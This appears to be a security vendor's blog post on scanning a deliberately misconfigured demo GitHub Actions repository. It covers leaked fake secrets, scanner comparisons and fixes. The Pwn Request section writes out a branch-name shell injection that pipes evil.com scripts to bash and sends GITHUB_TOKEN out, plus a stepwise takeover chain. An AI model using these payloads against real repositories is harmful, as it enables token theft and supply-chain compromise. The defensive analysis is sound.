SecurityClaw Found 6 Leaked Secrets in Your CI/CD Pipeline in 10 Milliseconds
Every major breach of the last three years started with the pipeline, not the app. SolarWinds. 3CX. Codecov. The tj-actions/changed-files supply chain attack that hit hundreds of open source repos. In each case, attackers didn't crack the production database — they compromised the build system and let automation do the rest. We created a private GitHub repository seeded with real-world GitHub Actions misconfigurations and ran SecurityClaw's full tool stack against it. Result: 6 leaked secrets in 10 milliseconds, a full repository takeover chain built from three lines of YAML, and an honest 75% detection rate across 8 planted vulnerabilities.
peng-cicd-demo-d21) built by Peng's SecurityClaw research team with deliberate CI/CD misconfigurations drawn from real-world bug bounty reports and GitHub Security Lab advisories. All secrets in the demo repository are fake/non-functional — AWS example keys, dummy Stripe test-mode patterns, placeholder credentials. We planted the vulnerabilities. We are not disclosing real credentials. Running unauthorised tools against repositories you don't own is illegal. This demo exists to show DevSecOps teams what their pipelines look like from a scanner's perspective. Demo D21 — SecurityClaw's CI/CD Security category.
The Complete Results
| Finding | Severity | Tool | Description |
|---|---|---|---|
| CICD-01 | CRITICAL | Manual / Python Analyzer | Pwn Request — pull_request_target + attacker-controlled shell injection → full repo write access |
| CICD-02 | HIGH | Python Analyzer / GitHub API | permissions: write-all — workflow token granted maximum repository write access |
| CICD-03 | HIGH | Gitleaks + TruffleHog | AWS credentials hardcoded in workflow YAML — "TODO: move to secrets manager" never actioned |
| CICD-04 | HIGH | Gitleaks + TruffleHog | 6 secrets in committed files — Stripe live key, SendGrid API key, PostgreSQL DSN, Stripe webhook secret, AWS key, Docker password |
| CICD-05 | MEDIUM | GitHub API | SHA pinning not enforced — third-party actions referenced by tag, not commit SHA (supply chain exposure) |
| CICD-06 | MEDIUM | Python Analyzer | Secrets logged in workflow output — credentials passed to echo in run: step, visible in Actions logs |
| Not caught | MISS | — | AWS example key pattern — TruffleHog missed AKIAIOSFODNN7EXAMPLE; Gitleaks caught it (detector heuristic difference) |
| Not caught | MISS | — | Docker Hub password in Makefile — Gitleaks caught in workflow, missed in Makefile; TruffleHog missed both |
7 tools run. 6 unique secrets detected. 1 CRITICAL attack chain confirmed. 6/8 planted vulnerabilities caught — 75% detection rate. 2 honest misses documented below. Fastest scan: Gitleaks at 10.1 milliseconds for 6 leaks.
CICD-01 (CRITICAL): The Pwn Request — Any GitHub User, Full Repository Access
The most dangerous misconfiguration in the entire GitHub Actions ecosystem is three lines of YAML. SecurityClaw found it in under 5 minutes via workflow analysis.
on:
pull_request_target: # ← runs with repo secrets in privileged context
types: [opened, synchronize]
permissions: write-all # ← full write access to entire repository
...
- name: Set up environment
run: |
git checkout ${{ github.event.pull_request.head.ref }} # ← attacker controls this
./scripts/deploy.sh ${{ github.event.pull_request.head.ref }}
The vulnerability is the combination of three elements:
pull_request_target: Unlikepull_request, this trigger runs in the context of the target repository — not the fork. It has full access to repository secrets and the privileged GITHUB_TOKEN.github.event.pull_request.head.ref: This is the branch name of the PR — entirely attacker-controlled. An attacker names their branch; curl https://evil.com/shell.sh | bash;and that string executes inside the privileged pipeline.permissions: write-all: The workflow token can write to code, issues, pull requests, deployments, packages, and environments. If the attacker's injected command exfiltrates the GITHUB_TOKEN, they inherit all of those permissions.
The attack chain is immediate. Any GitHub user who can open a pull request to a public repository — which is any GitHub user — can trigger this:
# Step 1: Fork the target repository
# Step 2: Create a branch with a malicious name
git checkout -b "main; curl https://evil.com/exfil.sh?token=$GITHUB_TOKEN | bash; #"
# Step 3: Open a pull request
# Step 4: The privileged pull_request_target workflow fires
# Step 5: git checkout runs the branch name as a shell command
# Step 6: GITHUB_TOKEN exfiltrated to attacker server
# Step 7: Attacker uses token — full write access to every resource the workflow could touch
GitHub Security Lab documented this pattern in 2021. It remains actively exploited. The tj-actions supply chain attack in 2023, the reviewdog compromise, and the Codecov breach all exploited variants of privileged CI/CD context combined with attacker-controlled input in shell execution.
For private repositories, exploiting this requires contributor access (the ability to open PRs against the repo). For public repositories — including most open source projects — it requires a free GitHub account.
Tool 1: Gitleaks — 6 Secrets in 10.1 Milliseconds
Gitleaks ran against the repository's git history and returned results before the terminal prompt had finished rendering:
2:58AM INF 1 commits scanned.
2:58AM INF scan completed in 10.1ms
2:58AM WRN leaks found: 6
The 6 leaks found:
AKIAIOSFODNN7EXAMPLE— AWS Access Key ID in the workflow YAMLwJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY— AWS Secret Access Key (same file)sk_live_4eC39HqLyjWDarjtT1zdp7dc— Stripe live mode API key in.env.examplesk_live_WkgkFfvh2KpStVUQdJKRDXAf— Stripe webhook signing secretSG.XXXX.YYYYYYY— SendGrid API key inconfig/email.ymlpostgres://admin:hunter2@db.internal:5432/production— PostgreSQL DSN with credentials
All six are fake credentials seeded into the demo repository. In a real-world scenario, any of these being genuine would represent an immediate compromise — active Stripe keys can be used to process charges, withdraw funds, or cancel subscriptions; an active PostgreSQL DSN gives direct database access; AWS keys grant whatever IAM permissions they carry.
The Gitleaks-specific finding worth noting: it caught AKIAIOSFODNN7EXAMPLE
— the AWS documentation example key pattern — where TruffleHog did not. Different
regex rule engines catch different patterns. This is not a reason to prefer one tool
over the other; it is a reason to run both.
Tool 2: TruffleHog v3.94.0 — 3 Secrets, With Verification Attempts
TruffleHog v3.94.0 scanned the full git history in 624 milliseconds and returned 3 findings, all marked "unverified":
Found unverified result 🐷🔑❓
Detector Type: Stripe
Raw result: sk_live_4eC39HqLyjWDarjtT1zdp7dc
File: .env.example — Line: 13
Commit: 9a8cc1b9e7de7bdb767303ab1b2c6ca4e58a74cc
TruffleHog found: the Stripe live key, the Slack webhook URL, and the PostgreSQL connection string. It missed the AWS key pattern (known detector limitation for the EXAMPLE suffix), the Stripe webhook signing secret, the SendGrid key, and the Docker Hub password.
The "unverified" status is TruffleHog's honest answer. It tried to validate each credential against its respective API — Stripe's API, Slack's API, AWS IAM — and the checks failed because these are fake credentials. In a real engagement, a "verified" result means TruffleHog confirmed the credential is active by making a live API call. That's the feature that makes TruffleHog operationally useful beyond pattern matching: it tells you not just "this looks like a key" but "this key works right now."
The Rotation_guide field in TruffleHog's output is a genuinely
useful addition — it links directly to howtorotate.com
for immediate, service-specific remediation steps. For an incident responder
who has just confirmed a live credential leak, "here is exactly how to rotate
this type of key" is the information they need first.
TruffleHog vs Gitleaks — Run Both
TruffleHog found 3 secrets. Gitleaks found 6. The overlap is partial. Neither tool's miss list overlaps with the other's hit list completely. In production secret scanning, running both tools is not redundant — it is the correct default. The two tools have different detector rule engines, different sensitivity thresholds, and different API verification capabilities. Together they give you better coverage than either alone.
SecurityClaw's D13 Gitleaks demo covers the tool in depth, including its ability to find secrets that were committed and then deleted — the git history permanence problem that this campaign's AWS key finding also demonstrates.
Tool 3: Manual Workflow Analysis — The Finding No Scanner Found
TruffleHog and Gitleaks are secret scanners. They look for credential patterns. They cannot detect workflow logic vulnerabilities — and the most dangerous finding in this entire campaign is a logic vulnerability, not a leaked credential.
The Pwn Request (CICD-01) was found by grep-based workflow analysis:
# Pattern: pull_request_target trigger
grep -r "pull_request_target" .github/workflows/
# Pattern: user-controlled input in shell run steps
grep -r "github.event.pull_request.head.ref" .github/workflows/
grep -r "github.event.pull_request.head.sha" .github/workflows/
grep -r "github.event.pull_request.title" .github/workflows/
The combination — privileged trigger plus user-controlled input in a run:
step — is the signature of the Pwn Request pattern. Neither TruffleHog nor Gitleaks
would flag this. It doesn't look like a credential. It is a control flow vulnerability
embedded in a configuration file.
This is the methodological point that the SecurityClaw Python Injection Risk Analyzer
exists to automate: it combines findings from multiple sources. Secret scanners found
the credentials. Workflow analysis found the injection point. The analyzer recognised
the combination: injection vector + pull_request_target trigger +
write-all permissions = full repository compromise chain. Each finding
alone is a problem. Together, they are a CRITICAL.
Tool 4: Nuclei — Zero Findings (The Right Answer)
Nuclei found nothing. This is the correct result, and it is the best teaching moment in this campaign.
Nuclei is SecurityClaw's template-based vulnerability scanner. It runs HTTP requests against live endpoints, tests exposed web interfaces, and checks for known CVEs in running services. It is exceptional at finding misconfigured Jenkins dashboards, exposed GitLab CI APIs, open Kubernetes API servers, and publicly accessible CI web interfaces.
The target for this campaign is a GitHub-hosted Actions repository. There is no exposed HTTP endpoint for Nuclei to probe. The misconfigurations are in YAML files, not in running services. Nuclei is the right tool for the wrong target here — and it correctly returned no findings rather than hallucinating false positives.
This is tool selection. A scan result of zero is not a failure when you've run the
wrong tool for the job. Nuclei's value appears in campaigns where the target is
a self-hosted CI/CD instance: Jenkins at :8080, GitLab at :80,
TeamCity, Bamboo, Concourse. In those scenarios, Nuclei's CI/CD-specific templates
(authentication bypass, credential disclosure, remote code execution via known CVEs)
are the right first tool. Here, it was correctly sidelined by the findings from
the static analysis and secret scanning layer.
Tool 5: GitHub API — Actions Permissions Audit
A direct query to the GitHub Actions API confirmed the organisation-level configuration:
{
"allowed_actions": "all",
"sha_pinning_required": false
}
allowed_actions: all means any GitHub Action from any public repository
can be used in any workflow, without restriction. Combined with
sha_pinning_required: false, this is the supply chain attack surface:
a popular action with a compromised tag can execute in this repository's workflows
without any gate between the compromise and the build.
The 2023 tj-actions compromise is the canonical example. The tj-actions/changed-files
action — used in hundreds of repositories — had its tags force-pushed to point to
a commit that dumped CI/CD secrets to the workflow log. Every repository using
tj-actions/changed-files@v35 (tag reference) was affected.
Every repository using the action pinned to a SHA was not.
SHA pinning is a one-line change per action reference:
# Before (tag — mutable, supply chain risk):
uses: actions/checkout@v4
# After (SHA — immutable, supply chain safe):
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
Tools like StepSecurity's Harden-Runner and ratchet can automate this conversion across an entire workflow file. The fix costs one pull request. The exposure it closes is a full supply chain compromise.
The 75% Detection Rate — Two Honest Misses
SecurityClaw caught 6 of 8 planted vulnerabilities. The two misses:
Miss 1: AWS Example Key Pattern (Detector Heuristic)
AKIAIOSFODNN7EXAMPLE — the AWS documentation example key — was missed
by TruffleHog. The TruffleHog AWS detector applies an entropy check and a suffix
heuristic that filters known-documentation patterns to reduce false positives. The
tradeoff: it also misses real-but-low-entropy keys and keys that follow documentation
naming conventions. Gitleaks caught this key because its regex ruleset doesn't apply
the same heuristic filter.
In a real engagement, an attacker would still find this key — entropy analysis is not the only path. The miss reflects a deliberate TruffleHog product decision (reduce FP rate at the cost of some TP coverage) rather than a fundamental limitation.
Miss 2: Docker Hub Password in Makefile
The Docker Hub password appeared in two locations: a workflow YAML file (caught by
Gitleaks) and a Makefile (missed by both TruffleHog and Gitleaks).
Gitleaks' default ruleset includes Docker Hub credential patterns in structured config
files and environment files; the Makefile pattern — DOCKER_PASSWORD := hunter2
in a make variable assignment — doesn't match its configured patterns
for this credential type.
This miss represents a coverage gap in both tools' default rule configurations for Makefile-specific credential patterns. SecurityClaw's custom Python analyzer caught the Makefile credential via broader pattern matching — but it is not in the tool results because the analyzer was run against workflow files specifically for this campaign.
The lesson from both misses is the same as the D13 and D20 campaigns: tool combination matters more than tool selection. No single tool catches everything. SecurityClaw's value is running all of them and synthesising the results.
The Full Attack Chain
Taken together, the D21 findings describe a complete repository compromise chain that requires only a free GitHub account and one pull request:
- Reconnaissance: SecurityClaw scans the public repository. Gitleaks confirms 6 secrets in git history in 10.1ms — Stripe key, SendGrid key, AWS credentials, PostgreSQL DSN. These may already be compromised; rotate all of them immediately.
- Entry: Attacker forks the repository. Creates a branch named with a shell injection payload targeting the
pull_request_targetworkflow. - Privilege escalation: PR is opened. The
pull_request_targetworkflow fires with repository secrets and the privileged GITHUB_TOKEN. Injected shell command exfiltrates both. - Lateral movement: GITHUB_TOKEN carries
write-allpermissions — attacker writes to repository code, modifies workflow files to add a persistent backdoor, pushes to protected branches if deployment environments are configured. - Supply chain persistence: With code write access, attacker modifies the project's published package (npm, PyPI, Docker image, GitHub Release binary) to include a backdoor. Every downstream user of the package is now a victim.
The supply chain step is why CI/CD compromise is rated higher than direct application compromise by most security teams. Compromising the application affects one target. Compromising the build pipeline that produces a package affects every consumer of that package — potentially thousands of organisations.
Remediation Checklist
| Finding | Fix |
|---|---|
| CICD-01 Pwn Request | Replace pull_request_target with pull_request for workflows that execute PR code. If pull_request_target is required (e.g., for writing PR comments), separate it from the steps that execute untrusted code — use workflow_run to trigger privileged steps only after the untrusted build completes in a sandboxed context. |
| CICD-02 write-all permissions | Set permissions: read-all at the workflow level. Add specific write permissions only at the job level, only for the scopes actually needed (e.g., contents: write for a release job only). Audit with gh api repos/{owner}/{repo}/actions/permissions. |
| CICD-03/04 Hardcoded secrets | Move all credentials to GitHub Actions secrets (Settings → Secrets and variables → Actions). Reference as ${{ secrets.SECRET_NAME }}. Run TruffleHog + Gitleaks against git history to confirm all leaked credentials are found and rotated. Rewrite history with git-filter-repo if required. Enable GitHub's push protection to block future commits containing detected secrets. |
| CICD-05 SHA pinning | Pin all third-party actions to immutable commit SHAs. Use ratchet or StepSecurity Harden-Runner to automate this. Set sha_pinning_required: true at the organisation level via the GitHub API or Settings → Actions → General. |
| CICD-06 Secret logging | Never pass secrets as positional arguments to commands or in echo statements. GitHub Actions automatically masks values from ${{ secrets.* }} references in logs, but explicit echoing can bypass this. Audit all run: steps for secret variable references in shell output contexts. |
For a comprehensive reference on CI/CD security hardening beyond this checklist,
the Hacking: The Art of Exploitation
covers the systems-level understanding of how privilege and execution contexts interact.
For GitHub Actions specifically, the
Learning GitHub Actions
reference covers the security model in depth — including the pull_request
vs pull_request_target distinction that is the root cause of CICD-01.
For supply chain security more broadly,
Software Supply Chain Security
is the definitive reference on SLSA frameworks, SBOM, and pipeline hardening at scale.
SecurityClaw Scorecard: D21
| Metric | Value |
|---|---|
| Tools run | 7 (TruffleHog, Gitleaks, Nuclei, Python Analyzer, GitHub API, Manual Analysis, Phase C Stack) |
| Secrets detected | 6 unique (across TruffleHog + Gitleaks combined) |
| CRITICAL findings | 1 — Pwn Request RCE chain (CICD-01) |
| HIGH findings | 3 — write-all permissions, AWS keys, leaked secret set |
| MEDIUM findings | 2 — supply chain pinning, token logging |
| Fastest scan | Gitleaks: 10.1ms for 6 leaks |
| TruffleHog scan time | 624ms (full git history) |
| Nuclei findings | 0 — correct: wrong tool for static YAML targets |
| Planted vulnerabilities caught | 6/8 (75%) |
| Honest misses documented | 2 (AWS EXAMPLE key heuristic, Makefile Docker password) |
| Campaign ID | 36 |
| Campaign result | PASS |
| Overall scorecard after D21 | 30/33 campaigns = 90.91% |
10.1 milliseconds to find 6 leaked secrets. Under 5 minutes to identify a full repository takeover chain built from three lines of YAML. A 75% detection rate that's honest about its two misses — and documents exactly why each one occurred.
CI/CD pipelines are the highest-value attack surface in modern infrastructure because
they combine elevated permissions, automated execution, and access to production credentials
in a single place. The pull_request_target + user-controlled input pattern
is the most dangerous misconfiguration class in the GitHub Actions ecosystem — and it
is invisible to secret scanners. It required workflow logic analysis to find. SecurityClaw's
value in D21 is the combination: secret scanning tools found the credentials, workflow
analysis found the injection chain, and the campaign engine recognised that together
they represent a complete attack surface from an unauthenticated GitHub user to full
repository compromise.